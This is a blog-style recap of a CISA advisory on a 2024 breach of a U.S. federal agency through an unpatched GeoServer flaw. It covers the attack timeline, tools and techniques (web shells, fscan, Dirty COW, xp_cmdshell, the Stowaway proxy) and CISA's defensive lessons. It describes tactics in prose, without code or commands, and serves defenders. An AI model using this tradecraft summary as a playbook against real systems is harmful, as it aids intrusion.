In July 2024, a U.S. federal civilian agency experienced a sophisticated cyber intrusion that would later provide valuable lessons for defenders. The Cybersecurity and Infrastructure Security Agency (CISA) was called in to assist with incident response after the agency’s endpoint detection and response (EDR) system alerted to potential malicious activity. CISA’s investigation of the incident revealed three key lessons for improving cybersecurity posture:
- Critical vulnerabilities were not remediated promptly,
- The agency’s incident response plan had not been adequately tested or exercised (especially regarding engaging third-party support),
- Security alerts were not continuously monitored, and some public-facing systems lacked proper endpoint protection.
These insights underscore the importance of timely patch management, well-practiced incident response procedures, and proactive security monitoring. In this article, we recount the incident timeline and tactics used by the threat actors, then discuss the lessons learned and CISA’s recommended measures to help organizations bolster their defenses.
Incident Overview and Attack Timeline
The breach began with the exploitation of a recently disclosed critical vulnerability in an internet-facing GeoServer application. This flaw, designated CVE-2024-36401, allowed unauthenticated remote code execution on the targeted server. Although the vulnerability had been public since June 30, 2024 (and was quickly added to CISA’s Known Exploited Vulnerabilities catalog in mid-July), the agency had not yet applied the available patch. On July 11, 2024 – just 11 days after disclosure – cyber adversaries capitalized on the unpatched GeoServer (let’s call it GeoServer 1) to gain initial access to the agency’s network. Exploiting CVE-2024-36401, the attackers executed arbitrary code on the server, which enabled them to download malicious tools and establish persistence. For example, they deployed a web shell (identified as the China Chopper variant) on the compromised server, giving them stealthy backdoor access for remote command execution. They also created some local user accounts (later found to be deleted) and scheduled persistent tasks (Linux cron jobs) to maintain foothold even after reboots.
By July 24, 2024, the threat actors had also compromised a second GeoServer (“GeoServer 2”) using the same unpatched vulnerability. This suggested that multiple servers in the environment were running the vulnerable software and none had been patched in time. From these beachheads, the attackers expanded their reach through lateral movement. They proceeded from GeoServer 1 into an internal web application server, and eventually into a SQL database server by July 31. On each newly accessed host, they attempted to upload additional web shells and executed scripts aimed at widening their access — including installing backdoors, running system commands, and trying to escalate privileges to higher levels of access.
Throughout the intrusion, the attackers leveraged both publicly available hacking tools and “live off the land” techniques to blend in with normal operations. For network reconnaissance, they ran port scans and host discovery sweeps inside the agency’s network using an open-source scanner tool (known as fscan). This allowed them to identify other active hosts and services within various subnets, such as SSH services, FTP servers, file shares, and web services. The attackers then engaged in brute-force attacks against services and accounts, attempting common or default credentials to breach other systems. After compromising the initial servers with low-privileged web service accounts, they sought privilege escalation on those machines. Notably, they tried to exploit the infamous Dirty COW vulnerability (CVE-2016-5195) — a known Linux kernel flaw — using a publicly available “dirtycow” exploit tool. This was likely an effort to gain root-level control on the Linux-based GeoServers by exploiting a race condition in the kernel, thus escaping the limited privileges of the service accounts they initially controlled.
The attackers were careful to avoid detection by using legitimate system tools and obfuscation. On Windows systems, they used built-in utilities like PowerShell and bitsadmin to download or transfer malicious payloads, rather than using easily flagged external malware. For instance, from the compromised web server, they enabled Microsoft SQL’s xp_cmdshell feature (which allows running OS commands via SQL queries) to execute commands on the database server — a clear example of using legitimate functionalities for malicious purposes (a living-off-the-land tactic). They also named some of their tools innocuously (e.g., using names like RinqQ.exe) to blend in, and configured scheduled tasks to re-establish their backdoors if interrupted.
To maintain communication with the infiltrated network, the adversaries set up a robust command-and-control (C2) mechanism. They deployed a multi-level proxy tool called Stowaway on the compromised web server. Stowaway acted as a relay, allowing the attackers to route traffic from their remote C2 server through the web server inside the agency’s network. In effect, this provided them with an outbound tunnel that bypassed many network restrictions and gave them access to internal systems via the already compromised host. The attackers launched Stowaway with specific parameters to connect back to their server over non-standard TCP ports (for instance, port 4441 and later 50012), and even set it to auto-reconnect in case of network interruption. They established at least two separate C2 channels for redundancy. Subsequent forensic analysis by CISA uncovered an arsenal of hacker tools staged on the attackers’ external server to which Stowaway connected. Among these were additional web shell scripts, the RingQ tool (likely used for antivirus evasion), generic administrative utilities like BusyBox and WinRAR for transferring files or running commands, and various custom scripts (batch files, Python scripts, etc.) intended to facilitate further exploitation or data exfiltration. All of this indicates the attackers were well-prepared to sustain a long-term operation in the victim’s network.
Detection and Incident Response
Despite the breadth of the compromise, the malicious activity went undetected for approximately three weeks. Importantly, the agency’s security team missed an early warning sign: on July 15, 2024, the EDR system actually generated an alert on GeoServer 1, flagging the presence of the Stowaway backdoor tool. Had this alert been noticed and acted upon at the time, the incident might have been identified much earlier. Unfortunately, the alert was not caught in the continuous monitoring process — possibly due to alert fatigue, oversight, or understaffing — and no investigation was launched at that time. Additionally, investigators later found that one critical server (the public-facing web server) lacked any EDR coverage, meaning no endpoint security agent was installed on that system. This blind spot allowed the attackers to operate on that server without generating alerts that could have tipped off defenders.
The intruders’ activities finally came to light on July 31, 2024, when the agency’s Security Operations Center (SOC) responded to a cluster of unusual alerts on the SQL database server. The EDR tool on that server detected a suspicious file (named “1.txt”) that the attackers had dropped via the Bitsadmin utility, identifying it as malicious. Around the same time, the SOC observed additional EDR alerts indicating attempts to use living-off-the-land methods on the SQL server, such as invoking PowerShell and the certutil tool to download files — behavior that stood out as anomalous for that system. Realizing the severity of these alerts, the SOC moved quickly: the team isolated (contained) the affected SQL server and also took GeoServer 1 offline, to cut off the attackers’ access and limit any further lateral movement. With the immediate threat contained on those systems, the agency engaged CISA’s incident response team the very next day (August 1, 2024) to assist with a thorough investigation and to ensure that the attackers had not maintained persistence elsewhere in the network.
Upon arriving, CISA responders worked with the agency to analyze and scope the incident. They combed through host artifacts and log data to reconstruct the attackers’ actions across the timeline described above. The investigation confirmed that the initial compromise occurred via the unpatched GeoServer vulnerability, and that the threat actors had indeed spread to the web and database servers. Forensic analysis recovered multiple malicious files and tools, correlated the malicious IP addresses and file hashes (indicators of compromise) associated with the intrusion, and helped the agency understand exactly which data and systems might have been accessed by the attackers. Notably, CISA encountered some challenges in the response process due to the agency’s readiness gaps. The agency’s incident response plan did not include clear procedures for bringing in an outside team like CISA, which led to delays in CISA getting the access they needed. For example, initially CISA was not able to directly access the agency’s SIEM (Security Information and Event Management) system to review aggregated logs, slowing down the analysis. Moreover, deploying CISA’s own EDR agents across the network for a more comprehensive hunt had to go through the agency’s change control approval, consuming precious time. These hurdles indicated that, while the technical containment was swift once the SOC noticed the breach, the coordination and preparedness aspect of incident response was improvable.
According to CISA’s report, the last observed malicious activity by the threat actors occurred on August 6, 2024 (some residual discovery commands running on GeoServer 2), after which it appears the attackers’ access was fully severed. CISA’s incident response engagement continued through late August 2024, during which they eradicated the threats, fortified the network, and drew important conclusions to share with others.
Key Lessons Learned
This incident provided a stark case study reinforcing several fundamental cybersecurity best practices:
- Prompt Patch Management (Prevent the Breach at the Door): The initial intrusion was a direct result of a known critical vulnerability that remained unpatched on an Internet-facing system. The fact that the attackers exploited CVE-2024-36401 just days after its disclosure — and even after it was listed in CISA’s Known Exploited Vulnerabilities (KEV) catalog — highlights how quickly threat actors take advantage of public exploits. Organizations must prioritize rapid patching of critical and known-exploited flaws, especially on servers exposed to the internet. Had the agency applied the available patch or mitigation for GeoServer as soon as possible, the window of opportunity for the attackers would have been closed, or at least significantly narrowed. This lesson underlines the need for a robust vulnerability management program that can expedite emergency patches and not just adhere to standard patch cycles when facing active threats.
- Incident Response Plans Must Be Practiced and Include External Support: Having an incident response plan (IRP) on paper is not enough; it needs to be regularly exercised and kept up-to-date. In this case, the agency’s IR plan did not account for quickly onboarding third-party responders (like CISA) or granting them swift access to critical systems and data. The resulting delays in the investigation demonstrate how an untested plan can hamper real-world response. Organizations should ensure their IRP clearly defines roles and escalation procedures, includes out-of-band communication methods, and has provisions for engaging external experts or law enforcement when needed. Regular drills, such as tabletop exercises and technical “purple team” simulations, should be conducted to validate the plan’s effectiveness under pressure. By practicing these scenarios, an organization can identify bottlenecks or missing steps (for example, pre-authorizing emergency changes or access for responders) before a crisis occurs. The lesson here is to treat incident response readiness as a muscle that needs exercise; a well-rehearsed plan leads to a more efficient and coordinated response when an actual incident strikes.
- Continuous Monitoring and Comprehensive Coverage: The adversaries in this case lurked undetected for weeks largely because of lapses in active monitoring and gaps in sensor coverage. One server generated a critical alert that was overlooked, and another key server had no monitoring agent at all. This underscores the importance of 24/7 security monitoring and ensuring all critical assets are under surveillance. Security teams should have processes to triage and respond to alerts in real time, to avoid missing early warning signs. Furthermore, every system that is internet-facing or houses sensitive information should be protected by endpoint security solutions and included in log collection to a central SIEM or logging platform. Had the SOC been reviewing alerts diligently and had the web server been covered by EDR, the attack might have been discovered at first compromise, drastically reducing the dwell time. In essence, this lesson advocates for eliminating blind spots: implement comprehensive logging (with verbose detail) across your environment, aggregate those logs centrally, and actively watch for anomalies. Even subtle indicators like unusual internal port scanning, a user account suddenly running system commands, or an unexpected PowerShell invocation should be investigated, as they can be early signs of an intrusion.
CISA’s Recommendations and Best Practices
Based on these lessons learned, CISA provided a set of recommendations to help organizations strengthen their cybersecurity defenses and incident readiness:
- Accelerate Vulnerability Mitigation: Develop and enforce a strong vulnerability management program that can prioritize critical patches. When new high-severity vulnerabilities (especially those known to be exploited in the wild) are announced, treat them with urgency. Focus on patching public-facing systems first, as they are prime targets. Keep an up-to-date asset inventory to know which systems are exposed and require immediate attention. CISA urges organizations to address vulnerabilities listed in its KEV catalog without delay. In practice, this may involve establishing an emergency patch team and streamlined change processes so critical fixes can be applied in days or hours, not weeks.
- Enhance and Exercise Incident Response Plans: Ensure your Incident Response Plan (IRP) is comprehensive and approved by senior leadership, but also make sure it is a living document. The IRP should clearly define what constitutes an incident, outline step-by-step procedures for containment and eradication, identify key stakeholders (both internal and external), and include communication plans (for management, legal, PR, law enforcement, etc.). Importantly, it should include procedures for rapidly engaging third-party incident responders and providing them necessary access to systems and logs in a crisis. Setting up these relationships and access protocols in advance (and getting any required legal or managerial approvals ahead of time) can save precious time during an incident. Organizations are advised to conduct regular tests of their IRP — for example, annual tabletop exercises simulating a cyberattack scenario, or live drills that involve technical teams, management, and external partners. These exercises will reveal gaps or delays (such as the change control bottleneck experienced in this case) so that the plan can be refined. Remember that an unpracticed plan can fall apart under pressure, whereas a practiced team will respond more confidently and effectively.
- Implement Robust Monitoring and Logging: Invest in comprehensive logging and monitoring capabilities. This means enabling detailed logs on servers, network devices, and applications, and aggregating those logs into a centralized, out-of-band location (so attackers cannot easily tamper with logs). Consider deploying a SIEM platform to correlate and analyze events from across your environment. More importantly, allocate sufficient resources (analysts, automated alerting rules, etc.) to continuously monitor these logs and EDR alerts. Set up alerting for abnormal patterns such as internal network scanning, unexpected creation of new admin accounts, use of command-line tools like PowerShell or
cmdby non-administrative users, and other deviations from baseline behavior. CISA also points organizations to guidance on detecting living-off-the-land techniques — for instance, spotting when built-in tools are used in unusual ways. By catching these subtle signs and investigating them promptly, defenders can uncover stealthy activity before attackers have time to fully accomplish their objectives.
In addition to the above focus areas, CISA recommends some further best practices that could mitigate the impact of similar attacks. One is enforcing phishing-resistant multi-factor authentication (MFA) for all privileged accounts and important user accounts (like email). This can help prevent attackers from leveraging stolen credentials to move around, especially if they attempt to access remote services. Another is implementing strict allowlisting of applications and scripts on critical systems — only permitting known good software to run or communicate — which can block or at least flag unauthorized executables and scripts like the ones used by the attackers. These measures, combined with user training and network segmentation (not explicitly detailed in the report, but generally advisable), add layers of defense that an attacker must overcome, thereby improving the overall resilience of the organization’s IT environment.
My conclusion about this
This federal agency incident serves as a vivid reminder that basic cybersecurity hygiene and preparedness can make the difference in defending against advanced threats. Timely patching of vulnerabilities closes doors before attackers can walk through them. A well-designed and rehearsed incident response plan ensures that when an attack does occur, responders can act decisively without stumbling over process issues. Continuous monitoring guarantees that when attackers do slip in, their footsteps in the network are noticed rather than overlooked. Each of the lessons learned in this case boils down to foresight and diligence: addressing weaknesses before adversaries exploit them, and being ready to react effectively when the unexpected happens. Organizations should take these lessons to heart and evaluate their own practices in these areas. By doing so, they can greatly reduce the likelihood of a breach — or at least limit the damage and recover faster if one happens. In cybersecurity, learning from others’ incidents is invaluable; it’s far better to implement improvements now than to learn the hard way from a breach of one’s own.
Enjoy !
References
- CISA – “CISA Releases Advisory on Lessons Learned from an Incident Response Engagement” (Alert announcement, September 23, 2025)
- CISA – “Cybersecurity Advisory AA25-266A: CISA Shares Lessons Learned from an Incident Response Engagement” (Full advisory text, September 23, 2025)
